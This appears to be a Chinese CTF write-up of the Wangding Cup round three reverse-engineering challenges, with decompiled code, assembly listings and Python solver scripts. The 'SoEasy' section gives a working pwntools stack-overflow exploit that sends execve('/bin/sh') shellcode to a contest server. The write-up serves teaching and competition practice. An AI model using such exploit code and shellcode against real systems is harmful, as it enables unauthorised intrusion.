网鼎杯第三场_Re

0x01 babyre

.NET逆向,dnSpy打开,点击flag后暂停程序
单步执行找到输出flag的点
跟入看到Form结构,其中即定义了flag:
flag

0x02 SimpleSMC

直接运行输入flag总会报段错误,猜测是中间有对函数解码过程
通过strings:”input your flag”很容易定位到判断函数
可以看到关键的判断语句:

1
2
3
4
5
6
7
if ( (unsigned int)((__int64 (__fastcall *)(_BYTE *, char *))loc_400BAC)(v5, &v4)
&& (v0 = &v4, (unsigned int)((__int64 (__fastcall *)(char *))loc_400AA6)(&v4)) )
{
v0 = "[*]YOU WIN[*]";
sub_410060("[*]YOU WIN[*]");
result = 0LL;
}

首先看到400BAC有花:

nop掉E8,create function,看到:

1
2
3
4
5
6
7
8
signed __int64 __fastcall sub_400BAC(__int64 a1)
{
int i; // [rsp+Ch] [rbp-Ch]

for ( i = 0; *((_BYTE *)&loc_400AA6 + i) != -61; ++i )
*((_BYTE *)&loc_400AA6 + i) ^= *(_BYTE *)(i % 7 + a1);
return 1LL;
}

其利用我们输入flag中22~28位(通过传参可以看到)对loc_400AA6进行解码。
首先可以在动态调试中断到此处(静态不行,在进入解码之前loc_400AA6会改变),根据loc_400AA6的开始几个值与”push rbp;mov rbp,rsp”异或得出:”F1@g”
后三个暂时没想到其他方法,直接patch掉程序:
把:

1
2
3
.text:0000000000400D9C                 test    eax, eax
.text:0000000000400D9E jz short loc_400DB1
.text:0000000000400DA0 mov edi, offset aYouWin ; "[*]YOU WIN[*]"

中的判断nop掉,只要flag中解码的7位正确,就会输出YOU WIN,否则段错误(考虑写脚本爆破,如果没有输出,p.recv()接收不到字符也会EOFError,有多组解,最后需要调试看一下):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

ans=""
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
s="a"*21+"F1@g"+chr(i)+chr(j)+chr(k)
p=process("./SimpleSMC")
p.recvuntil("flag:\n")
p.sendline(s)
try:
p.recv()
print s
ans=ans+s+" "
except EOFError:
p.close()
print ans

不过这样显然有点失了智(太慢了),看了队里大佬的wp,可以根据结尾’call __stack_chk_fail;(使用sig找到函数) leave; ret’来解后三字节,解出是”F1@gChe”,而后便是逆400AA6的过程:

1
.text:0000000000400AD2     call    sub_4009AE

sub_4009AE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
.text:00000000004009AE push    rbp
.text:00000000004009AF mov rbp, rsp
.text:00000000004009B2 sub rsp, 10h
.text:00000000004009B6 mov [rbp+var_8], rdi
.text:00000000004009BA mov [rbp+var_C], esi
.text:00000000004009BD mov [rbp+var_10], edx
.text:00000000004009C0 mov eax, [rbp+var_C]
.text:00000000004009C3 sar eax, 1
.text:00000000004009C5 mov edx, eax
.text:00000000004009C7 mov rax, [rbp+var_8]
.text:00000000004009CB mov esi, edx
.text:00000000004009CD mov rdi, rax
.text:00000000004009D0 mov eax, 0
.text:00000000004009D5 call sub_400A18
.text:00000000004009DA cmp [rbp+var_10], 0
.text:00000000004009DE jz short loc_4009F9
.text:00000000004009E0 mov eax, [rbp+var_10]
.text:00000000004009E3 lea edx, [rax-1]
.text:00000000004009E6 mov ecx, [rbp+var_C]
.text:00000000004009E9 mov rax, [rbp+var_8]
.text:00000000004009ED mov esi, ecx
.text:00000000004009EF mov rdi, rax
.text:00000000004009F2 call sub_4009AE
.text:00000000004009F7 jmp short near ptr loc_400A15+1
.text:00000000004009F9 ; ---------------------------------------------------------------------------
.text:00000000004009F9
.text:00000000004009F9 loc_4009F9: ; CODE XREF: sub_4009AE+30↑j
.text:00000000004009F9 push rax
.text:00000000004009FA xor rax, rax
.text:00000000004009FD jz short loc_400A03
.text:00000000004009FF add rsp, 4
.text:0000000000400A03
.text:0000000000400A03 loc_400A03: ; CODE XREF: sub_4009AE+4F↑j
.text:0000000000400A03 pop rax
.text:0000000000400A04 jle near ptr loc_400A10+1
.text:0000000000400A0A jnz near ptr loc_400A10+1
.text:0000000000400A10
.text:0000000000400A10 loc_400A10: ; CODE XREF: sub_4009AE+56↑j
.text:0000000000400A10 ; sub_4009AE+5C↑j
.text:0000000000400A10 call near ptr loc_400ACA+3
.text:0000000000400A15
.text:0000000000400A15 loc_400A15: ; CODE XREF: sub_4009AE+49↑j
.text:0000000000400A15 add cl, cl
.text:0000000000400A17 retn

sub_400A18对我们输入进行处理
首先调用了一次

1
2
3
4
.text:00000000004009CB mov     esi, edx
.text:00000000004009CD mov rdi, rax
.text:00000000004009D0 mov eax, 0
.text:00000000004009D5 call sub_400A18

而后:

1
2
3
4
5
6
7
8
9
.text:00000000004009DA cmp     [rbp+var_10], 0
.text:00000000004009DE jz short loc_4009F9
.text:00000000004009E0 mov eax, [rbp+var_10]
.text:00000000004009E3 lea edx, [rax-1]
.text:00000000004009E6 mov ecx, [rbp+var_C]
.text:00000000004009E9 mov rax, [rbp+var_8]
.text:00000000004009ED mov esi, ecx
.text:00000000004009EF mov rdi, rax
.text:00000000004009F2 call sub_4009AE

通过判断[rbp+var_10]处(0x40,且递减1),又调用了0x40次call sub_4009AE,即调用了1+0x40*
sub_400A18:

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_400A18(__int64 a1, int a2)
{
int i; // [rsp+1Ch] [rbp-4h]

if ( !a2 )
return 0LL;
for ( i = 0; i < a2; ++i )
*(_BYTE *)(a2 + i + a1) ^= *(_BYTE *)(i + a1);
return sub_400A18(a1, (unsigned int)(a2 >> 1));
}

简单的异或逻辑,同时可以看出,每0x8次调用即会抵消
所以就相当于调用了1次
400AA6最后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:0000000000400AD7 mov     qword ptr [rbp-30h], 0
.text:0000000000400ADF mov qword ptr [rbp-28h], 0
.text:0000000000400AE7 mov qword ptr [rbp-20h], 0
.text:0000000000400AEF mov qword ptr [rbp-18h], 0
.text:0000000000400AF7 mov byte ptr [rbp-10h], 0
.text:0000000000400AFB mov byte ptr [rbp-30h], 66h
.text:0000000000400AFF mov byte ptr [rbp-2Fh], 0Ah
.text:0000000000400B03 mov byte ptr [rbp-2Eh], 7
.text:0000000000400B07 mov byte ptr [rbp-2Dh], 0Bh
.text:0000000000400B0B mov byte ptr [rbp-2Ch], 1Dh
.text:0000000000400B0F mov byte ptr [rbp-2Bh], 8
.text:0000000000400B13 mov byte ptr [rbp-2Ah], 51h
.text:0000000000400B17 mov byte ptr [rbp-29h], 38h
.text:0000000000400B1B mov byte ptr [rbp-28h], 1Fh
.text:0000000000400B1F mov byte ptr [rbp-27h], 5Ch
.text:0000000000400B23 mov byte ptr [rbp-26h], 14h
.text:0000000000400B27 mov byte ptr [rbp-25h], 38h
.text:0000000000400B2B mov byte ptr [rbp-24h], 30h
.text:0000000000400B2F mov byte ptr [rbp-23h], 0Ah
.text:0000000000400B33 mov byte ptr [rbp-22h], 1Ah
.text:0000000000400B37 mov byte ptr [rbp-21h], 28h
.text:0000000000400B3B mov byte ptr [rbp-20h], 39h
.text:0000000000400B3F mov byte ptr [rbp-1Fh], 59h
.text:0000000000400B43 mov byte ptr [rbp-1Eh], 0Ch
.text:0000000000400B47 mov byte ptr [rbp-1Dh], 24h
.text:0000000000400B4B mov byte ptr [rbp-1Ch], 24h
.text:0000000000400B4F mov byte ptr [rbp-1Bh], 22h
.text:0000000000400B53 mov byte ptr [rbp-1Ah], 1
.text:0000000000400B57 mov byte ptr [rbp-19h], 1Fh
.text:0000000000400B5B mov byte ptr [rbp-18h], 1Eh
.text:0000000000400B5F mov byte ptr [rbp-17h], 73h
.text:0000000000400B63 mov byte ptr [rbp-16h], 1Dh
.text:0000000000400B67 mov byte ptr [rbp-15h], 3Ah
.text:0000000000400B6B mov byte ptr [rbp-14h], 8
.text:0000000000400B6F mov byte ptr [rbp-13h], 5
.text:0000000000400B73 mov byte ptr [rbp-12h], 15h
.text:0000000000400B77 mov byte ptr [rbp-11h], 0Ah
.text:0000000000400B7B mov rdx, [rbp-38h]
.text:0000000000400B7F lea rax, [rbp-30h]
.text:0000000000400B83 mov rsi, rdx
.text:0000000000400B86 mov rdi, rax
.text:0000000000400B89 call sub_400360

即:将我们的输入和定义的字符比对(没用sig,看参数猜测call sub_400360为strcmp)
对应数据逆出flag:

1
2
3
4
5
6
7
8
9
10
11
key=[ 0x66, 0x0A, 0x07, 0x0B, 0x1D, 0x08, 0x51, 0x38, 0x1F, 0x5C,  0x14, 0x38, 0x30, 0x0A, 0x1A, 0x28, 0x39, 0x59, 0x0C, 0x24,  0x24, 0x22, 0x01, 0x1F, 0x1E, 0x73, 0x1D, 0x3A, 0x08, 0x05, 0x15, 0x0A]
def dec(k,b):
if b>16:
return 0
else:
for i in range(b):
k[i+b]^=k[i]
return dec(k,b<<1)
if __name__=="__main__":
dec(key,1)
print "".join(chr(i) for i in key)

0x03 I_like_pack

赛中没做出来,方向错了
复现一下过程:
首先,程序短时间自动停止
猜测调用了alarm(),并有ptrace

1
strace  -i ./re

可以发现:
strace
在gdb下断到ptrace系统条用处:

1
catch syscall ptrace

查看调用栈:

1
2
3
4
5
6
gdb-peda$ bt
#0 0x00007ffff7ae8e2e in ?? ()
#1 0x0000000000400a84 in ?? ()
#2 0x00007fffffffcb88 in ?? ()
#3 0x0000000100000000 in ?? ()
#4 0x0000000000000000 in ?? ()

在0x400a84处下硬件断点
动态调试时create function,看到判断函数:

1
2
3
4
5
6
7
8
for ( j = 0; j <= 35; ++j )
{
if ( dword_60F0E0[*(&v10 + j)] != v46[j] - 45 )
{
sub_4007D0(&loc_401748);
sub_4008E0(0LL);
}
}

简单异或逻辑,导出数据逆flag即可:

1
2
3
4
5
6
key1= [0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0]
key2= [0x0B, 0x08, 0x07, 0x07, 0x08, 0x0C, 0x03, 0x02, 0x10, 0x06, 0x0D, 0x05, 0x07, 0x10, 0x04, 0x01, 0x00, 0x0F, 0x10, 0x08, 0x03, 0x06, 0x0E, 0x10, 0x00, 0x08, 0x06, 0x09, 0x0C, 0x0E, 0x0D, 0x0B, 0x0F, 0x07, 0x0B, 0x0E]
flag = ""
for i in range(35):
flag += chr( key1[key2[i]]+45)
print "flag{"+flag+"}"

0x04 SoEasy

程序没开任何保护:

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

最简单的shellcode栈溢出
EXP:

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote("106.75.95.47",42264)
p.recvuntil("->0x")
s=p.recvuntil("do?")
addr=int(s[:8],16)
payload="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80"+"A"*52+p32(addr)
p.sendline(payload)
p.interactive()

0x05 dewas

很简单的画图,记一下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from PIL import Image

MAX=1000

pic=Image.new("RGB",(MAX,MAX))

str="ddssdssdssdssdssdssdswdwwdwwdwwdwwddssdssdssdssdswdwwdwwdwwdwwdwwdwwdedsssssssssssssedwdwwdwwdwwdwwdwwdwwddssdssdssdsaaaaaaaaddddddddsdssdssdsdedwwwedsddsdddsddddwdddwddwwawaaawaaawaaawaaawadwdwwdddwdddsdddsddsedddddwwwessssssssssssssddddwdddwddwddwddwdwwdwawwaawaawaawaaawaaaaeddddddddddddddddddesssssssssssssseddddddewwwwwwwwwwwwwwdssdssdssdssdssdssdssdwwwwwwwwwwwwwweddddddddddddddssssssewwawwawawaaasasassasssassdsssdsddsddddwdwwdwwwaaaeddddddssssssewdwdwdwdwdwdwdawawawawawawaweddddddddddeddddddddaaaaaaaasssssssddddddaaaaaassssssseddddddddddddwwwwwwwwwwwwwwessssssssssdssdsddsdddwddwdwwdwwwwwwwwwwedddddssssssssssssssewwwwwwwwwwwwwwdssdssdssdssdssdssdssdwwwwwwwwwwwwwwedddddesssssssssesssess"

flagx=0
flagy=20
for y in range(0,MAX):

for x in range(0,MAX):
pic.putpixel([x,y],(255,255,255))
for key in str:
if key=="e":
pass
if key=="d":
for x in range(0,5):
pic.putpixel([flagx+x,flagy],(0,0,0))
flagx=flagx+5
if key=="s":
for x in range(0,5):
pic.putpixel([flagx,flagy+x],(0,0,0))
flagy+=5
if key=="a":
for x in range(0,5):
pic.putpixel([flagx-x,flagy],(0,0,0))
flagx-=5
if key=="w":
for x in range(0,5):
pic.putpixel([flagx,flagy-x],(0,0,0))
flagy-=5
pic.show()

pic.save("flag.png")